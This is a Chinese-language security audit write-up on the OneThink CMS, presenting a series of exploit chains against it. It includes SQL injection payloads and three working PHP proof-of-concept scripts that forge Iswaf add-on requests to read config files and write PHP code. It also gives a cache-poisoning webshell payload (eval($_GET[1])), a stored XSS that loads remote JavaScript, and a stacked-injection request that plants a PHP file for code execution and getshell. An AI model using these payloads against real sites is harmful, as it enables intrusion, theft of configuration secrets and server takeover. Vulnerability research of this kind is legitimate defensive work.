onethink漏洞审计整理

旧版本

旧版本采用的thinkphp内核小于3.2,不支持堆叠注入

已知漏洞

其他漏洞

  • 前台SQL注入漏洞
    • 主要就是exp表达式和in表达式的处理问题
    • 新版本升级到3.2.3不存在上述问题

前台SQL注入分析

同之前爆出的漏洞属于同一类型

在前台的article控制器中的index方法中调用了category方法

image-20210903160723320

此方法中接受了参数,赋值给id,并没有进行类型判断直接传进了info方法

image-20210903160805762

info方法中带入了where方法

image-20210903160837181

形成了表达式注入

1
2
category[]=exp&category==1)) and updatexml(1,concat(0x7e,user()),1)# //或者一个括号
category[]=in ('')) and (select 1 from (select sleep(4))x)# //或者一个括号

不在复现

新版本

已知漏洞

  • 任意文件读取

任意文件读取1

在iswaf的扩展中实例化了iswaf类并调用了初始化方法init

image-20210903161944583

在init方法中接收到了相关的变量,进入了runapi方法

image-20210903162210991

方法比较简单,简单的判断之后,进入了execute方法

image-20210903162339918

通过此方法进行包含调用

image-20210903162419257

这里的apis模块下有个getfiles.php

image-20210903162454622

可以完成文件读取

image-20210903162556484

测试poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
define('iswaf_connenct_key','5a17847748477a665e322c45a62ac51f');
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;

$key = md5($key ? $key : iswaf_connenct_key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);

$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);

$result = '';
$box = range(0, 255);

$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}

for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}

for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}

if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}
}

$a = serialize(array(array("../../../Application/Common/Conf/config.php")));
$r = authcode($a, "ENCODE");
echo $r;
?>

常量的值

define('iswaf_connenct_key','5a17847748477a665e322c45a62ac51f');

如果不能用可以爆破

image-20210903185050140

复现

image-20210903164645146

其他

前台任意文件读取2

依然存在另外一个方法看上去可以操作

image-20210903164940787

主要就是通过正则吧所有的数据匹配出来就行

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
define('iswaf_connenct_key','5a17847748477a665e322c45a62ac51f');
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;

$key = md5($key ? $key : iswaf_connenct_key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);

$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);

$result = '';
$box = range(0, 255);

$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}

for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}

for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}

if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}
}

$a = serialize(array("../../../Application/Common/Conf/","*.php","~((.|\n)*)~"));
$r = authcode($a, "ENCODE");
echo $r;
?>

复现

image-20210903170940878

前台任意文件写入

漏洞分析

存在一个create_file方法

image-20210903171213510

查看调用

image-20210903171303464

继续跟进

image-20210903171330646

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
define('iswaf_connenct_key','5a17847748477a665e322c45a62ac51f');
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;

$key = md5($key ? $key : iswaf_connenct_key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);

$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);

$result = '';
$box = range(0, 255);

$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}

for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}

for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}

if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}
}

$a = serialize(array("../aaa","'.phpinfo();//"));
$r = authcode($a, "ENCODE");
echo $r;
?>

复现

1
action=create_config&args=5c50EIsk5FvBtic3Yb8ZET5vLSNF8weMvzfdCKtZWEcMR44H9nU246A2tAt3A1eWYGnRNFnqwaNfMn54zVazRqOh7L0uOrPxWDDH8Y1e&key=9fe5a371c4604cc90b29da182ada38b3

image-20210903172243982

或者

http://127.0.0.1:8104/Addons/Iswaf/iswaf/database/conf/aaa.php

失败的前台文件读取3

待研究,目前没啥办法,再uri中apache和nginx的解析不一样

nginx遇到%2f或者%2e之后会自动解码

apache遇到%2f之后直接404

存在于一个插件中

image-20210903173641573

这里的document_root为空,不然就简单了

image-20210903173710648

可以看到这里只能读取index文件

image-20210903173802466

当访问如下

/index.php/Home/Addons/execute/%2b../aaa.txt/../../../../../../aaa/../?XDEBUG_SESSION_START=14730&s=/Home/Addons/execute

测试后发现,当index.php真是存在时没办法通过../跳目录的

apache会讲请求路径解码一次,所以php代码中也是解码一次,无效

前台缓存漏洞

能缓存的地方有不少,这里发现一处前台的缓存

image-20210903182630294

在登录成功之后,会进行行为记录

image-20210903182931118

此处会调用到get_nickname

而且当开放注册的时候,前台的注册用户名并没有进行限制

所以注册一个abc%0aphpinfo();//用户

登录

image-20210903183151150

生成缓存文件

image-20210903183216459

缓存文件名需要缓存的key可以结合前面的文件读取

这里就是

image-20210903183412324

由于长度限制

exp%0aeval($_GET[1])#

前台POST型反射XSS

代码就很简单了

image-20210906143554232

效果

image-20210906143800600

后台GET型反射XSS

原因就是在默认配置下,未配置默认的过滤器

image-20210906165302895

在view中存在反射型xss

image-20210906165240485

效果

image-20210906165423741

后台存储型XSS

代码就不看了

image-20210906165553294

效果

image-20210906165609147

前台存储型XSS

前台是可以注册用户的,用户名没有过滤,在输出时也不存在过滤

image-20210906165825318

但是有一点就是数据库中nickname的值的长度限制了16位

image-20210906170010922

所以构造了如下payload

image-20210906174308455

效果

image-20210906174347897

虽然这里可以传r参数,来设置一页显示多少用户,但是这是后台并不是我们可以控制的,默认值设置的是10,所以我们需要构造10个用户组成的payload

加载一个远程js文件,http://127.0.0.1:8104/a.js

image-20210906175744402

最终测试如下,正好10行

image-20210906174529197

插入后如下

image-20210906175628992

成功加载远程js

image-20210906175655798

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html>
<body>
<script>
document.
write(
'<script sr'
+'c="http:/'
+'/127.0.0.'
+'1:8104/a.'
+'js"></s'
+'cript>');
</script>
</body>
</html>

后台任意文件写入

后台存在多处文件写入,主要就是系统扩展允许构造,不是通过上传或者商店等其他形式

最好写的还是config文件

image-20210906152602306

直接添加配置代码即可

image-20210906152743253

效果

image-20210906152909057

后台注入+代码执行

这个可能操作起来相对复杂了一些

代码中引用了auth的验证模块,此模块在一定条件下存在代码执行,如果后台可以直接配置就相对比较简单

不能配置的话就需要结合堆叠注入来利用

先看一下代码执行的流程

首先可以肯定这是一个对后台用户的鉴权,所以需要管理员的身份

在初始化方法中,调用了checkRule方法

image-20210906181857796

跟进

image-20210906181946965

在check方法中调用了getauthlist

image-20210906182025639

进入此方法

image-20210906184254126

至于这个正则,匹配不到会输出原数据

image-20210906184214886

但是由于这个字段并不能被控制

image-20210906184527296

所以这里,需要一个堆叠注入,后台的堆叠注入就很多了

find注入

存在多处,这里是Action/edit

image-20210907093744708

bind注入

这种类型也比较多

image-20210907150645647

拼接注入

只找到一处Admin/getMenus

image-20210907094727618

利用方式

以find注入为例

image-20210907150927831

直接堆叠利用

1
2
3
http://127.0.0.1:8104/admin.php?s=/Action/edit.html

id[where]=1;update onethink_auth_rule set `condition` = '1).file_put_contents("1.php","aaa").(1' where id =1;#

下图去掉个井号

image-20210907151615101

然后登陆一个普通的后台账户,即可触发代码执行

image-20210907160248154

前台SQL注入

发现相对偶然,实际方法是在后台,但是存在某些方法可以前台调用,所以一开始被忽略了

在admin控制器中存在一个lists方法

options数组中的order键值可控

image-20210907165655884

进入parseOrder,可以产生注入

image-20210907165738368

admin控制器是一个后台鉴权控制器,每个后台控制器都继承自admin

所以,查看lists方法的调用,找到下面这么一处

image-20210907165953938

但是这也是一个后台方法

再次跟进admin的鉴权行为

image-20210907170925500

跟进此方法

image-20210907170944782

从数据库中找到,11个可以公开访问的后台方法

image-20210907170859386

恰巧就有我们上面提到的方法

效果

image-20210907171518410

但是还存在限制,由于参数值只能是字符串,所以正常情况下不能存在逗号

image-20210907172514245

但是并不影响update语句的执行

可以结合上面的后台代码执行漏洞直接getshell